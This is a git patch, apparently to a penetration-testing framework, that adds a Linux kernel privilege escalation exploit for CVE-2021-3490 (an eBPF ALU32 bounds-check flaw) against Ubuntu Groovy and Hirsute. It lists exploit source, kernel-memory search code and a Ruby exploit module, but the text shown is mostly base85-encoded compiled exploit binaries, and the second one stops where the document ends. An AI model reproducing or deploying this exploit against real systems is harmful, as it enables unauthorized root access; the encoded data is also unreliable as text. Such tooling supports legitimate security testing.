From d5df47692cdaed055643bea02a5cfd2b9eebc992 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 17 Aug 2021 17:19:17 -0500 Subject: [PATCH] Add in first copy of the exploit along with the supporting source code and binaries. Documentation to come --- data/exploits/cve-2021-3490/groovy.bin | Bin 0 -> 39352 bytes data/exploits/cve-2021-3490/hirsute.bin | Bin 0 -> 39352 bytes ...e_2021_3490_ebpf_alu32_bounds_check_lpe.md | 284 +++++++++ .../Linux_LPE_eBPF_CVE-2021-3490/Makefile | 16 + .../Linux_LPE_eBPF_CVE-2021-3490/README.md | 43 ++ .../Linux_LPE_eBPF_CVE-2021-3490/bpf.c | 128 ++++ .../Linux_LPE_eBPF_CVE-2021-3490/exploit.c | 581 ++++++++++++++++++ .../include/bpf_defs.h | 170 +++++ .../include/exploit_configs.h | 114 ++++ .../include/kernel_defs.h | 160 +++++ .../include/kmem_search.h | 12 + .../kmem_search.c | 276 +++++++++ ...e_2021_3490_ebpf_alu32_bounds_check_lpe.rb | 160 +++++ 13 files changed, 1944 insertions(+) create mode 100755 data/exploits/cve-2021-3490/groovy.bin create mode 100755 data/exploits/cve-2021-3490/hirsute.bin create mode 100644 documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/README.md create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/bpf.c create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/exploit.c create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/bpf_defs.h create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/exploit_configs.h create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kernel_defs.h create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/include/kmem_search.h create mode 100644 external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/kmem_search.c create mode 100644 modules/exploits/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.rb diff --git a/data/exploits/cve-2021-3490/groovy.bin b/data/exploits/cve-2021-3490/groovy.bin new file mode 100755 index 0000000000000000000000000000000000000000..fd3ab99a4a4a4a4fc69a7669298b6070ce9b3473 GIT binary patch literal 39352 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 P|L5J#9`Mztfm2(cs z)1QCbdmlCr`M&SF-tSs#ziaKi*N=V9xj8xa!qSqG$RDGkPejrdo!~5$al*m7Vgaa( zrbox|cT)8J=qU8jW^?J44oG#!?$SaW8{0>L;!Tt=44&f5kw;%cp?D)5n~!lR9-}g+ zi#JAMtQX_CS2;hAK0TDzcVUexOHDaHly z`FZr^T?$We`C|{?%$NCkj?fOhar`~T#YZ2huUq`lX&9p>@TXE2e++%#Thh zZ)q$)+p3^?sSNe0i$1+DBAe~9#bLCzI5F0h{!bse>ED)ZsOkC1rJq@TQFG(3YaaXX z8lQ*Cl#dSaeV33f`Q7}Nk30Wckep5UT;>PMg(DqbCn3I+3tUw9;p{uHCki~BG7%Wg z|LPI!Umd|-HG=(;5$x|9!QME6JvD;;Z%43yVFdes9l_o?f_)G61pkYVk75`uZp%in zmyclAZDzQ9-oT#VfAMi6hEt1;(&^VV>c$_9GArt`QA@VDp=Nng)YO`7iPGtoY<11G z>6&HNrk7OL)kn>l>iYV|ny96*=GsiQsk*K?S_;+5dFL@g^@YVg9WI;rU9Y?DA#Br-Jo~%y z{14{Yb-(e){Mddp2A#J*F3+>)->(+s+5Np+oMm}-dk)7LHRaj!@9!(}>?+$ItMcqV zMoR0*v&TaKqjcxlkM)^=Yx3;zBivHg<=MyO`9GLvr@_OqG0#3BSfgljp8fbd`}RD0 z{`K6OXOFvrv3BLz^*lLp9Ere@2poyPkq8`#z+WQ*znSp2LhrpRWc~oWIwJ&NsfO=**5R zKIp$?x|y&4vPl0~k^a*n{YORm_lxxJ7U@qE>5moZ-zd_*TBLuaNMBu~cNOXFMfy!e zdTYLZ)-UJep8I?%wAF#9gLX1Qd#<}rhP6DF-9`q5J{;y=gy&z&VW?f0qNKx)UYKAGBaa8#;fXX?4% zXHO)9F>wZC2m6*-yLi6(@2c~a9JPLUVXE!?J(@YCazD$COLdXK} zKSeLO8g3|G{JqzcC}API)GhlpIY_mQn-U>!q;IEkPb_~n0%YoWd=jabi zwX%{2&)VM8p2esm)ziLx|KK1g5n`_wyH@W)+${5!S}w3u?%#it`g$t&cCIwl_T=a# z2BjTRN>ZKeR#IF4<*8iz3KiPZz6yvl?HCffhr~5Q;<_R6!69+ukhpnB+&(1sdXdT^ zy2|QeiYwdMt~hi?xppP@w7SAlJP105y=eS*`M z^t8_+J&JnTXB$S*&h`{i4W4rxv#s~o4wHikveF=53>=~ob3w&rXZw7lZFpV^Qfymq zX@|+dG@-3`oio9|%y>QR3j+Ugq@!`ZB9AXQm?&I2U1lZZW0%;+hD?wvQ2s%vZFmC`#VBQG2(62&Tjpr?( zF(m{YrgWIM0xI)1LzUTqv<=T3XmLBb!{lIstTf1X7^$cIPD7Eqk<`)d0!`~jwTcQ`vDdH zfT0S15J?^FA<*+B2NQ)$hx{-g@&?d#w2esWXq!MI)6paclj~?Q!G8o8>M50@bM22} z+1b8Xb|_mwa_KN3=#;Mn_*>-{dRpaZ-_;(+zO#Khf7R7?fR>Adpp%Pqa(NQaSv(E8 zuGWjBuJ#OQObJ1UDIMnb0ClxzK^Od8Na||OfyR^&bePg%J`bqO7Yr5l-ALQ;d=Z3c z_Xo+r1X()dmjIDpHWaxJN#s{SBaiAZIhY80lQY5J6Z2mS{C=cIao+3r9VP^wl9d4S zbz}6j?>AJ*14t|Jd;_$Sxk4ld6D22{3H|}&^|ZffDE>ht)%-2c_@g^a4klM~CBuK) zcs=ch48@OlZmH%apz+6am>f)0UTKg^0flWesAFgQSfr(R9s_!^5xwbL_P&{Jv4!& zd&^|d*IaTiL6#2rR6yh@pd(L3(rKRtda~qTf-D{K>43;*fbO&_kW}rnKu?w&Opv8R zJ{u5u8mLkG&i3g@X*_3u{+uNTlZ%;5@Mi+zpJyn3C6WrS0zF@HFj2U4$g=>EXM^sv zQ%K*!a}H=^x~k-0f-D{K#egpCxrQovK9Vl%OF_sys1bq=Q##Dc02RByP|VBai02ic zue0P}ay?uo_*VkrUu7u%BBaN0t_D3{axlTKtO;owp4Wj!9?KINIhb7GGQn>K#LpV4@D)gEu$7?kxiLu&CJL7h`36Ab z8-)yVcebxW`VgMCfWC0a!30@42gQUve3mTsro8(}k^3oyS2Z+2D+-29vIwTdo z9`uDv4klN)Oz`gq#DBn0g+GX-yYfSz@sHw}jT}tyxhu;A|6yP({0$(*!{3PXcQ|hX zefg4u3H~CU?3my`0;v2)4aMJ#q^o5M2%iTwLeM#L=`gnfVm@wYk8+z(Rhc!2>D(PoIM{la+$*L-2!`y0h%i>B~i>cm!g$ZS+b^NyelAH-n&DlJa zsH-ZSjPbfunYbVLE->)%&|ryA(_n{wMS~qX)SWu5n#BS5;IE5XsDc*ir-k}xq20N8 zFVGgQNe)^Rr*$R|rb?21oeK|IGnDLNl9@czx$sb`b6y`NxYjZcGMA@i-qn^oNK+jA zc=Cnjr+vGsDc;QM7lmQp<-$IFxJc^(X4Pp=1xe2(9e;)B6H-0fil@^(_Qcau+da#) zs@7xAvX8NY3wh^1Kn+S2`tl*Aw*u|nb;a{n_j!Y}lg8K(iX}j2NNTJycwm|FA8Ur z+wcrCO4cumXO!#yz>HEu&M>2dFFBYfe3leqkT-+ow=#;MnhCjyw+%*ECl~4Dasr@R z@`<1uwNFIS`o&40F(m{YrgWGm1DfWX0_wK6vps>Nf!k!zm=b~xQ##C30hKw$P|T@F z+weRMw8#;5$-x9!I^@#2gER@}dqLxKok$KQ z$CnBIeSr9D4aHxFv<>I=pz)a(N)9IY70v|ze&ZF-D>W~C$n&|#B?l9H=7loBe;7D? zUa8y5CdYR($eCBS?HP|Y7Tv{9y3)9t;t?|gvntMTTFv%(nfe^xQZ`~4oqcsJ(V zP2Hr?PZq9c9vBZHr_I9shjO16yE9+ZaIly1Qfzj)J94VCvMgm~vV}O9nz8E(@5@hV zJ2;pfH?-itk0HLT{xd7kjBuQv5q^t;MjSTwxnbi}&hD^b<9Qf${1ry|N4CAJyZ>?9 zUTO>t8*9NoW82Ho{j&TIb7p+5eu&IBiml>)>Hn1ZLgT`yV{X$uOr)D ze(J(?R^pzerSY>=QxhFWw!H|1Jq;LYpN7o%LtytN3EZ1b2Q>cB48;u_HAB&`@hs4j 